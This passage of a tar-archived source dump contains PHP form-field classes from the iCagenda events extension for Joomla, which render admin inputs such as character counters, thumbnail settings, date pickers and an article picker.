 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.0 2015-02-14
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

/**
 * Textarea with a counter. Short Description and Meta Description
 *
 * @package		iCagenda
 * @subpackage	com_icagenda
 * @since		3.4.0
 */
class JFormFieldModal_ictextarea_counter extends JFormField
{
	protected $type = 'modal_ictextarea_counter';

	protected function getInput()
	{
		$app		= JFactory::getApplication();
		$replace	= array("jform", "[", "]");
		$name		= str_replace($replace, "", $this->name);
		$nb_chars	= strlen(trim(utf8_decode($this->value)));
		$class		= !empty($this->class) ? ' class="' . $this->class . '"' : '';

		if ($app->isAdmin())
		{
			$params	= JComponentHelper::getParams('com_icagenda');
			$iCparams	= JComponentHelper::getParams('com_icagenda');
		}
		else
		{
			$params	= $app->getParams();
			$iCparams	= JComponentHelper::getParams('com_icagenda');
		}

		$session = JFactory::getSession();
		$ic_submit_shortdesc = $session->get('ic_submit_shortdesc', '');
		$ic_submit_metadesc = $session->get('ic_submit_metadesc', '');

		$event_shortdesc = $ic_submit_shortdesc ? $ic_submit_shortdesc : $this->value;
		$event_metadesc = $ic_submit_metadesc ? $ic_submit_metadesc : $this->value;

		if ($name == 'shortdesc')
		{
			$ic_max_component	= $iCparams->get('char_limit_short_description', '100');
			$ic_max				= $params->get('char_limit_short_description', '100');
			$ic_max				= ($ic_max_component >= $ic_max) ? $ic_max : $ic_max_component;
		}
		elseif ($name == 'metadesc')
		{
			$ic_max_component	= $iCparams->get('char_limit_meta_description', '160');
			$ic_max				= $params->get('char_limit_meta_description', '160');
			$ic_max				= ($ic_max_component >= $ic_max) ? $ic_max : $ic_max_component;
		}
		else
		{
			$ic_max = $params->get('ShortDescLimit', '100');
		}

		// Alert if text stored in the database exceeds the character limit currently set.
		$display_alert	= ($nb_chars > $ic_max) ? true : false;

		$count_value = $nb_chars ? ($ic_max-$nb_chars) : $ic_max;
		$ic_size = (strlen($ic_max))-1;
		$ic_size = $ic_size ? $ic_size : '1';

		$counter_input = '<input id="' . $name . '-counter"';
//		$counter_input.= ' onblur="iCtextCounter(this.form.' . $this->name . ', this, ' . $ic_max . ');"';
		$counter_input.= ' class="valid"';
//		$counter_input.= ' onfocus="this.blur();"';
//		$counter_input.= ' tabindex="999" maxlength="' . $ic_size . '" size="' . $ic_size . '"';
		$counter_input.= ' size="' . $ic_size . '"';
		$counter_input.= ' value="' . $count_value . '"';
		$counter_input.= ' name="counter_' . $name . '">';

		$html = '<div>';

		if ($display_alert)
		{
			$html.= '<div class="alert alert-danger"><h3>Warning</h3><strong>'
					. JText::sprintf('COM_ICAGENDA_ALERT_S_TEXT_S_EXCEEDS_CHARACTER_LIMIT', $this->title) . '</strong><br />'
					. JText::_('COM_ICAGENDA_ALERT_EDIT_TEXT_TO_FIT_CHAR_LIMIT') . '<br /><br /><u>'
					. JText::sprintf('COM_ICAGENDA_ALERT_S_TEXT_S_CURRENTLY_STORED_IN_DATABASE', $this->title) . '</u> :<br/><i>'
					. $this->value . '</i></div>';
		}
		$html.= '<textarea';
		$html.= ' onKeyPress="iCtextCounter(this, this.form.counter_' . $name.', ' . $ic_max . ');"';
		$html.= ' onKeyUp="iCtextCounter(' . $name . ', counter_' . $name . ', ' . $ic_max . ');"';
		$html.= ' onkeydown="iCtextCounter(' . $name . ', counter_' . $name . ', ' . $ic_max . ');"';
		$html.= ' onmouseout="iCtextCounter(' . $name . ', counter_' . $name . ', ' . $ic_max . ');"';
//		$html.= ' onpaste="' . $name . 'useractions();"';
		$html.= $class . ' name="' . $this->name . '" id="' . $name . '">';

		if ($name == 'shortdesc')
		{
			$html.= $event_shortdesc;

			// clear the data so we don't process it again
			$session->clear('ic_submit_shortdesc');
		}
		elseif ($name == 'metadesc')
		{
			$html.= $event_metadesc;

			// clear the data so we don't process it again
			$session->clear('ic_submit_metadesc');
		}
		else
		{
			$html.= $this->value;
		}

		$html.= '</textarea>';

		$html.= '</div>';
		$html.= '<div id="'.$name.'-counter-container" class="ic-counter-container">';
		$html.= '<div class="ic-counter">';
		$html.= JText::sprintf('COM_ICAGENDA_MAXIMUM_N_CHARACTERS', $ic_max);
		$html.= '</div> ';
		$html.= '<div class="ic-counter">';
		$html.= JText::sprintf('COM_ICAGENDA_N_REMAINING', $counter_input);
		$html.= '</div>';
		$html.= '</div>';
		$html.= '<div>&nbsp;</div>';

//		$html.= '<textarea';
//		$html.= ' onMouseOut="CheckFieldLength(this.' . $name . ', \'' . $name . '_charcount\', \'' . $name . '_remaining\', 140);"';
//		$html.= ' onKeyDown="CheckFieldLength(this.' . $name . ', \'' . $name . '_charcount\', \'' . $name . '_remaining\', 140);"';
//		$html.= ' onkeyup="CheckFieldLength(this.' . $name . ', \'' . $name . '_charcount\', \'' . $name . '_remaining\', 140);"';
//		$html.= $class . ' name="' . $this->name . '" id ="' . $name . '">';
//		$html.= '</textarea>';
//		$html.= '<h2><span id="' . $name . '_charcount">0</span> characters entered   | <span id="' . $name . '_remaining">140</span> characters remaining</h2>';

		return $html;
	}
}
com_icagenda/models/fields/modal/thumbs.php000060400000011033152455305270014777 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.2 2015-03-13
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_thumbs extends JFormField
{
	protected $type='modal_thumbs';

	protected function getInput()
	{
		$replace = array("jform", "params", "[", "]");
		$name_input = str_replace($replace, "", $this->name);

		jimport('joomla.application.component.helper');
		$iCparams = JComponentHelper::getParams('com_icagenda');

		if ($name_input == 'thumb_large')
		{
			$thumbOptions = $iCparams->get('thumb_large');
			$width = is_numeric($thumbOptions[0]) ? $thumbOptions[0] : '900';
			$height = is_numeric($thumbOptions[1]) ? $thumbOptions[1] : '600';
			$quality = is_numeric($thumbOptions[2]) ? $thumbOptions[2] : '100';
			$crop = $thumbOptions[3] ? $thumbOptions[3] : false;
			$default_width = '900';
			$default_height = '600';
			$default_quality = '100';
			$default_crop = '0';
		}
		elseif ($name_input == 'thumb_medium')
		{
			$thumbOptions = $iCparams->get('thumb_medium');
			$width = is_numeric($thumbOptions[0]) ? $thumbOptions[0] : '300';
			$height = is_numeric($thumbOptions[1]) ? $thumbOptions[1] : '300';
			$quality = is_numeric($thumbOptions[2]) ? $thumbOptions[2] : '100';
			$crop = $thumbOptions[3] ? $thumbOptions[3] : false;
			$default_width = '300';
			$default_height = '300';
			$default_quality = '100';
			$default_crop = '0';
		}
		elseif ($name_input == 'thumb_small')
		{
			$thumbOptions = $iCparams->get('thumb_small');
			$width = is_numeric($thumbOptions[0]) ? $thumbOptions[0] : '100';
			$height = is_numeric($thumbOptions[1]) ? $thumbOptions[1] : '100';
			$quality = is_numeric($thumbOptions[2]) ? $thumbOptions[2] : '100';
			$crop = $thumbOptions[3] ? $thumbOptions[3] : false;
			$default_width = '100';
			$default_height = '100';
			$default_quality = '100';
			$default_crop = '0';
		}
		elseif ($name_input == 'thumb_xsmall')
		{
			$thumbOptions = $iCparams->get('thumb_xsmall');
			$width = is_numeric($thumbOptions[0]) ? $thumbOptions[0] : '48';
			$height = is_numeric($thumbOptions[1]) ? $thumbOptions[1] : '48';
			$quality = is_numeric($thumbOptions[2]) ? $thumbOptions[2] : '80';
			$crop = $thumbOptions[3] ? $thumbOptions[3] : true;
			$default_width = '48';
			$default_height = '48';
			$default_quality = '80';
			$default_crop = '1';
		}

		$crop_false = $crop_true = '';

		if (!empty($crop))
		{
			$crop_true = ' selected="selected"';
		}
		else
		{
			$crop_false = ' selected="selected"';
		}

		$quality_80 = '';

		if ($quality == '80')
		{
			$quality_80 =  ' selected="selected"';
		}

		$quality_values = array('100', '95', '90', '85', '80', '75', '70', '60', '50');

		$html = array();

		$html[] = '<div class="span2">' . JText::_('IC_WIDTH') . '<br />';
		$html[] = '<input type="text" class="input-mini" name="'.$this->name.'[]" value="'.$width.'" default="'.$default_width.'"/></div>';

		$html[] = '<div class="span2">' . JText::_('IC_HEIGHT') . '<br />';
		$html[] = '<input type="text" class="input-mini" name="'.$this->name.'[]" value="'.$height.'" default="'.$default_height.'"/></div>';

		$html[] = '<div class="span2">' . JText::_('IC_QUALITY') . '<br />';
		$html[] = '<select id="ThumbMedium_quality" class="input-small" name="'.$this->name.'[]" value="'.$quality.'">';

		foreach ($quality_values AS $qv)
		{
			$html[] = '<option value="'.$qv.'"';

			if ($qv == $quality)
			{
				$html[] = ' selected="selected"';
			}

			$html[] = '>' . JText::_('IC'.$qv.'') . '</option>';
		}

		$html[] = '</select></div>';

		$html[] = '<div class="span2">' . JText::_('IC_CROPPED') . '<br />';
		$html[] = '<select id="ThumbMedium_crop" class="input-small" name="' . $this->name . '[]" value="' . $crop . '">';
		$html[] = '<option value="0" ' . $crop_false . '>'.JText::_('JNO').'</option>';
		$html[] = '<option value="1" ' . $crop_true . '>'.JText::_('JYES').'</option>';
		$html[] = '</select></div>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/startdate.php000060400000003111152455305270015466 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.10 2015-08-13
 * @since       2.0.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.filesystem.path');
jimport('joomla.form.formfield');

/**
 * Form Field to load a startdate datetime picker input
 *
 * @since	2.0.0
 */
class JFormFieldModal_startdate extends JFormField
{
	protected $type = 'modal_startdate';

	protected function getInput()
	{
		$class = ! empty($this->class) ? ' class="' . $this->class . '"' : '';

		$lang = JFactory::getLanguage();

		if ($lang->getTag() == 'fa-IR')
		{
			// Including fallback code for HTML5 non supported browsers.
			JHtml::_('jquery.framework');
			JHtml::_('script', 'system/html5fallback.js', false, true);

			$attributes = '';

			$html = JHtml::_('calendar', $this->value, $this->name, 'startdate_jalali', '%Y-%m-%d %H:%M:%S', $attributes);
		}
		else
		{
			$html ='<input type="text" id="startdate"' . $class . ' name="' . $this->name . '" value="' . $this->value . '"/>';
		}

		return $html;
	}
}
com_icagenda/models/fields/modal/ictxt_content.php000060400000003772152455305270016375 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.5 2013-11-10
 * @since       3.2.5
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_ictxt_content extends JFormField
{
	/**
	 * The form field type.
	 */
	protected $type = 'modal_ictxt_content';

	/**
	 * Method to get the field input markup.
	 */
	protected function getInput()
	{
		jimport('joomla.application.component.helper');
		$icagendaParams = JComponentHelper::getParams('com_icagenda');

		$replace = array("jform", "[", "]", "Content");
		$name = str_replace($replace, "", $this->name);

		$tosContent = $icagendaParams->get($name.'Content', '');
		$tos_Type = $icagendaParams->get($name.'_Type', '');

		$editor = JFactory::getEditor();

		$html	= array();

		$html[] = '<div id="'.$name.'_custom"><fieldset class="span9 iCleft">';
		$html[] = $editor->display($this->name, $tosContent, "100%", "300", "300", "20", 1, null, null, null, array('mode' => 'advanced'));
		$html[] = '</fieldset></div>';

		if ($tos_Type == '2') {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("'.$name.'_custom").style.display = "block";';
			$html[] = '</script>';
		} else {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("'.$name.'_custom").style.display = "none";';
			$html[] = '</script>';
		}

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/coordinate.php000060400000002731152455305270015631 0ustar00<?php
/** 
 *	iCagenda
 *----------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright	Copyright (C) 2012 JOOMLIC - All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Jooml!C - http://www.joomlic.com
 * 
 * @update		2013-04-18
 * @version		2.1.7
 *----------------------------------------------------------------------------
*/

// No direct access to this file
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');


class JFormFieldModal_coordinate extends JFormField
{
	protected $type='modal_coordinate';
	
	protected function getInput()
	{	
		$def=JRequest::getVar('def');
		if ($def=='')$def=$this->value;
	
	
	
		$html= '
			<!--div class="clr"></div>
			<div id="map_canvas" style="width:100%; height:300px"></div><br/>
			<label>'.JText::_('COM_ICAGENDA_FORM_LBL_EVENT_GPS').'</label>&nbsp;<input name="'.$this->name.'" id="jform_coordinate" type="text" size="41" value="'.$def.'"/-->
			<div class="clr"></div>
			<!--input name="latitude" id="lat" type="text"/>
			<input name="longitude" id="lng" type="text"/-->';

		
			$html.= '<input name="'.$this->name.'" id="lat" type="text" size="41" value="'.$this->value.'"/>
		<!--script>
			document.getElementById("coords").value=document.getElementById("lat").value+", "+document.getElementById("lng").value;
		</script-->';

		return $html;
	}
}com_icagenda/models/fields/modal/checkdnsrr.php000060400000003055152455305270015630 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.1.7 2013-08-28
 * @since       3.1.7
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_checkdnsrr extends JFormField
{
	protected $type='modal_checkdnsrr';

	protected function getInput()
	{
		$test='0';
		if (function_exists('checkdnsrr')) {
			$test='1';
		}
		if ($test!=1) {
			if(version_compare(JVERSION, '3.0', 'lt')) {
				$html='<label style="color:red"><b> '.JText::_('COM_ICAGENDA_REGISTRATION_EMAIL_CHECKDNSRR_NOT_PRESENT_1').'</b><br/>'.JText::_('COM_ICAGENDA_REGISTRATION_EMAIL_CHECKDNSRR_NOT_PRESENT_2').'</label><br/>';
			} else {
				$html='<div class="alert alert-error"><span class="icon-warning"></span><b> '.JText::_('COM_ICAGENDA_REGISTRATION_EMAIL_CHECKDNSRR_NOT_PRESENT_1').'</b><br/>'.JText::_('COM_ICAGENDA_REGISTRATION_EMAIL_CHECKDNSRR_NOT_PRESENT_2').'</div>';
			}
			return $html;
		} else {
			return false;
		}

	}
}
com_icagenda/models/fields/modal/period.php000060400000002542152455305270014764 0ustar00<?php
/** 
 *	iCagenda
 *----------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright	Copyright (C) 2012 JOOMLIC - All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Jooml!C - http://www.joomlic.com
 * 
 * @since		1.3
 *----------------------------------------------------------------------------
*/

// No direct access to this file
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');


JText::script('COM_ICAGENDA_TP_CURRENT');
JText::script('COM_ICAGENDA_TP_CLOSE');
JText::script('COM_ICAGENDA_TP_TITLE');
JText::script('COM_ICAGENDA_TP_TIME');
JText::script('COM_ICAGENDA_TP_HOUR');
JText::script('COM_ICAGENDA_TP_MINUTE');


class JFormFieldModal_period extends JFormField
{
	protected $type='modal_period';
	
	protected function getInput()
	{
		$html ='<script>
		$(function(){
			$(\'#jform_period\').datetimepicker({
				dateFormat: \'yy-mm-dd\',
				hourGrid: 4,
				minuteGrid: 10
			});
		})

		</script>
		<input type="text" id="'.$this->id.'" class="'.$this->class.'" name="'.$this->name.'" value="'.$this->value.'"/>';
		$html ='<input type="text" id="'.$this->id.'" class="'.$this->class.'" name="'.$this->name.'" value="'.$this->value.'"/>';
			
		return $html;
	}
}com_icagenda/models/fields/modal/ictxt_article.php000060400000014612152455305270016341 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.5 2013-11-10
 * @since       3.2.5
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * Supports a modal article picker.
 */
class JFormFieldModal_ictxt_article extends JFormField
{
	/**
	 * The form field type.
	 */
	protected $type = 'modal_ictxt_article';

	/**
	 * Method to get the field input markup.
	 */
	protected function getInput()
	{
		$icagendaParams = JComponentHelper::getParams('com_icagenda');

		$replace = array("jform", "[", "]", "Article");
		$name = str_replace($replace, "", $this->name);

		$tos_Type = $icagendaParams->get($name.'_Type', '');

		$allowEdit		= ((string) $this->element['edit'] == 'true') ? true : false;
		$allowClear		= ((string) $this->element['clear'] != 'false') ? true : false;

		// Load language
		JFactory::getLanguage()->load('com_content', JPATH_ADMINISTRATOR);

		// Load the modal behavior script.
		JHtml::_('behavior.modal', 'a.modal');

		// Build the script.
		$script = array();

		// Select button script
		$script[] = '	function jSelectArticle_'.$this->id.'(id, title, catid, object) {';
		$script[] = '		document.getElementById("'.$this->id.'_id").value = id;';
		$script[] = '		document.getElementById("'.$this->id.'_name").value = title;';

		if ($allowEdit)
		{
			$script[] = '		jQuery("#'.$this->id.'_edit").removeClass("hidden");';
		}

		if ($allowClear)
		{
			$script[] = '		jQuery("#'.$this->id.'_clear").removeClass("hidden");';
		}

		$script[] = '		SqueezeBox.close();';
		$script[] = '	}';

		// Clear button script
		static $scriptClear;

		if ($allowClear && !$scriptClear)
		{
			$scriptClear = true;

			$script[] = '	function jClearArticle(id) {';
			$script[] = '		document.getElementById(id + "_id").value = "";';
			$script[] = '		document.getElementById(id + "_name").value = "'.htmlspecialchars(JText::_('COM_CONTENT_SELECT_AN_ARTICLE', true), ENT_COMPAT, 'UTF-8').'";';
			$script[] = '		jQuery("#"+id + "_clear").addClass("hidden");';
			$script[] = '		if (document.getElementById(id + "_edit")) {';
			$script[] = '			jQuery("#"+id + "_edit").addClass("hidden");';
			$script[] = '		}';
			$script[] = '		return false;';
			$script[] = '	}';
		}

		// Add the script to the document head.
		JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));

		// Setup variables for display.
		$html	= array();
		$link	= 'index.php?option=com_content&amp;view=articles&amp;layout=modal&amp;tmpl=component&amp;function=jSelectArticle_'.$this->id;

		if (isset($this->element['language']))
		{
			$link .= '&amp;forcedLanguage='.$this->element['language'];
		}

		$db	= JFactory::getDbo();
		$db->setQuery(
			'SELECT title' .
			' FROM #__content' .
			' WHERE id = '.(int) $this->value
		);

		try
		{
			$title = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		if (empty($title))
		{
			$title = JText::_('COM_CONTENT_SELECT_AN_ARTICLE');
		}
		$title = htmlspecialchars($title, ENT_QUOTES, 'UTF-8');

		// The active article id field.
		if (0 == (int) $this->value)
		{
			$value = '';
		}
		else
		{
			$value = (int) $this->value;
		}

		// The current article display field.
		$html[] = '<div id="'.$name.'_article"><fieldset class="span9 iCleft"><div>&nbsp;</div><span class="input-append">';
		$html[] = '<input type="text" class="input-medium" style="margin:0px" id="'.$this->id.'_name" value="'.$title.'" disabled="disabled" size="35" />';

		if(version_compare(JVERSION, '3.0', 'lt')) {
			$html[] = '<a class="modal btn hasTooltip" title="'.JText::_('COM_CONTENT_CHANGE_ARTICLE').'"  href="'.$link.'&amp;'.JSession::getFormToken().'=1" rel="{handler: \'iframe\', size: {x: 800, y: 450}}">'.JText::_('JSELECT').'</a>';
		} else {
			$html[] = '<a class="modal btn hasTooltip" title="'.JHtml::tooltipText('COM_CONTENT_CHANGE_ARTICLE').'"  href="'.$link.'&amp;'.JSession::getFormToken().'=1" rel="{handler: \'iframe\', size: {x: 800, y: 450}}"><i class="icon-file"></i> '.JText::_('JSELECT').'</a>';
		}

		// Edit article button
		if ($allowEdit)
		{
			if(version_compare(JVERSION, '3.0', 'lt')) {
				$html[] = '<a class="btn hasTooltip'.($value ? '' : ' hidden').'" href="index.php?option=com_content&view=article&layout=edit&id=' . $value. '" target="_blank" title="'.JText::_('COM_CONTENT_EDIT_ARTICLE').'" alt="'.JText::_('COM_CONTENT_EDIT_ARTICLE').'" >' . JText::_('JACTION_EDIT') . '</a>';
			} else {
				$html[] = '<a class="btn hasTooltip'.($value ? '' : ' hidden').'" href="index.php?option=com_content&layout=modal&tmpl=component&task=article.edit&id=' . $value. '" target="_blank" title="'.JHtml::tooltipText('COM_CONTENT_EDIT_ARTICLE').'" ><span class="icon-edit"></span> ' . JText::_('JACTION_EDIT') . '</a>';
			}
		}

		// Clear article button
		if ($allowClear)
		{
			if(version_compare(JVERSION, '3.0', 'lt')) {
				$html[] = '<a id="'.$this->id.'_clear" class="btn'.($value ? '' : ' hidden').'" onclick="return jClearArticle(\''.$this->id.'\')">' . JText::_('JCLEAR') . '</a>';
			} else {
				$html[] = '<button id="'.$this->id.'_clear" class="btn'.($value ? '' : ' hidden').'" onclick="return jClearArticle(\''.$this->id.'\')"><span class="icon-remove"></span> ' . JText::_('JCLEAR') . '</button>';
			}
		}

		$html[] = '</span>';

		// class='required' for client side validation
		$class = '';
		if ($this->required)
		{
			$class = ' class="required modal-value"';
		}


		$html[] = '<input type="hidden" id="'.$this->id.'_id"'.$class.' name="'.$this->name.'" value="'.$value.'" /></fieldset></div>';

		if ($tos_Type == '1') {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("'.$name.'_article").style.display = "block";';
			$html[] = '</script>';
		} else {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("'.$name.'_article").style.display = "none";';
			$html[] = '</script>';
		}


		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/icmulti_checkbox.php000060400000005042152455305270017014 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.6 2013-11-21
 * @since       3.2.6
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_icmulti_checkbox extends JFormField
{
	protected $type='modal_icmulti_checkbox';

	protected function getLabel()
	{
	   return ' ';
	}

	protected function getInput()
	{

		$Explode = explode('_', $this->name);
		$TypeName = $Explode[0].']';

		$replace = array("jform", "[params]", "[", "]");
		$name = str_replace($replace, "", $TypeName);

		$selected = $this->value;
		if (!is_array($selected)) $selected = array();

		$check_1 = ' checked="checked"';
		$check_2 = ' checked="checked"';

		if (in_array('1', $selected)) {
			$check_1 = ' checked="checked"';
		} else {
			$check_1 = '';
		}
		if (in_array('2', $selected)) {
			$check_2 = ' checked="checked"';
		} else {
			$check_2 = '';
		}

		$Type_none = $name.'_none';
		$Type_checkbox = $name.'_checkbox';

		$html	= array();

		$html[] = '<div id="'.$Type_checkbox.'"><fieldset class="span9 iCleft">';
//		$html[] = '<input type="text" value="'.$this->value.'" name="'.$this->name.'"/>';
		$html[] = '<div style="display: inline-block"><input type="checkbox" value="1" name="'.$this->name.'[]"'.$check_1.'/>&nbsp;'.JText::_( 'ICTITLE' ).'</div>';
		$html[] = '<div style="display: inline-block"><input type="checkbox" value="2" name="'.$this->name.'[]"'.$check_2.'/>&nbsp;'.JText::_( 'ICDESC' ).'</div>';
		$html[] = '</fieldset></div>';

		$html[] = '<script type="text/javascript">';
		$html[] = 'document.getElementById("'.$Type_checkbox.'").style.display = "none";';
		$html[] = 'if (typeset == 1) {';
		$html[] = 'document.getElementById("'.$Type_checkbox.'").style.display = "block";';
		$html[] = '}';
//		$html[] = 'if (typeset == 0) {';
//		$html[] = 'document.getElementById("'.$Type_checkbox.'").style.display = "none";';
//		$html[] = '}';
		$html[] = '</script>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/icvalue_opt.php000060400000005524152455305270016017 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.9 2013-12-22
 * @since       3.2.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_icvalue_opt extends JFormField
{
	protected $type='modal_icvalue_opt';

	protected function getInput()
	{

		$replace = array("jform", "params", "[", "]");
		$name = str_replace($replace, "", $this->name);

		$Type = $this->value;

		if ($name == 'calendarclosebtn') {
			$default_text = JText::_( 'JTOOLBAR_DEFAULT' );
		} else {
			$default_text = JText::_( 'JGLOBAL_USE_GLOBAL' );
		}

		$Type_default = $name.'_default';
		$Type_content = $name.'_custom';

		$class_default = '';
		$class_custom = '';
		$checked_default = ' checked="checked"';
		$checked_custom = '';
		if ($Type == '0') {
			$class_default = 'btn-primary';
			$checked_default = ' checked="checked"';
			$checked_custom = '';
		}
		elseif ($Type == '1') {
			$class_custom = 'btn-success';
			$checked_default = '';
			$checked_custom = ' checked="checked"';
		} else {
			$class_default = 'btn-primary';
			$checked_default = ' checked="checked"';
			$checked_custom = '';
		}

		$html	= array();


		$html[]	= '<fieldset class="radio btn-group">';
		$html[]	= '<label class="'.$class_default.'">'.$default_text.'<input type="radio"  id="'.$name.'_0" name="'.$this->name.'" value="0"  onClick="icdefault_'.$name.'();"'.$checked_default.' /></label>';
		$html[]	= '<label class="'.$class_custom.'">'.JText::_( 'COM_ICAGENDA_LBL_CUSTOM_VALUE' ).'<input type="radio"  id="'.$name.'_1" name="'.$this->name.'" value="1"  onClick="iccustom_'.$name.'();"'.$checked_custom.' /></label>';
		$html[]	= '</fieldset>';


		$html[]	= '<script type="text/javascript">';
		$html[]	= 'var typeset = '.$Type.';';
		$html[]	= 'function icdefault_'.$name.'()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("'.$Type_content.'").style.display = "none";';
		$html[]	= '$("#'.$name.'_0").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= 'function iccustom_'.$name.'()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("'.$Type_content.'").style.display = "block";';
		$html[]	= '$("#'.$name.'_1").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= '</script>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/tos_type.php000060400000010641152455305270015347 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.0 2013-09-18
 * @since       3.2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_tos_type extends JFormField
{
	protected $type='modal_tos_type';

	protected function getInput()
	{
		jimport('joomla.application.component.helper');

		$icagendaParams = JComponentHelper::getParams('com_icagenda');
		$tos_Type = $icagendaParams->get('tos_Type', '');
		$class_default = '';
		$class_article = '';
		$class_custom = '';
		$checked_default = '';
		$checked_article = '';
		$checked_custom = '';
		if ($tos_Type == '') {
